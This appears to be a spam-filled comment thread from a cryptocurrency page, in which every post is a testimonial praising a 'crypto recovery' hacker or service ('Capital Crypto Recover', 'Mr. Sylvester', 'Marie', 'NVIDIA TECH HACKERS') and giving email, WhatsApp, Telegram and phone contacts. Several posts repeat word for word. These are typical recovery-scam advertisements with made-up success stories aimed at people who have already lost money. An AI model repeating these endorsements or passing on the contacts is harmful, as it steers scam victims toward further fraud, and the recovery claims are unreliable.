Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…
11.10.25 10:44 Tonerdomark

A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.
12.10.25 01:12 harristhomas7376

"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
12.10.25 01:12 harristhomas7376

"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
12.10.25 19:53 Tonerdomark

A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.
12.10.25 21:36 blessing

Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.
13.10.25 01:11 elizabethrush89

God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1
13.10.25 01:11 elizabethrush89

God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1
14.10.25 01:15 tyleradams

Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]
14.10.25 08:46 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
14.10.25 08:46 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
14.10.25 08:46 robertalfred175

CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
15.10.25 18:07 crypto

Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.
15.10.25 21:52 harristhomas7376

"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
15.10.25 21:52 harristhomas7376

"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1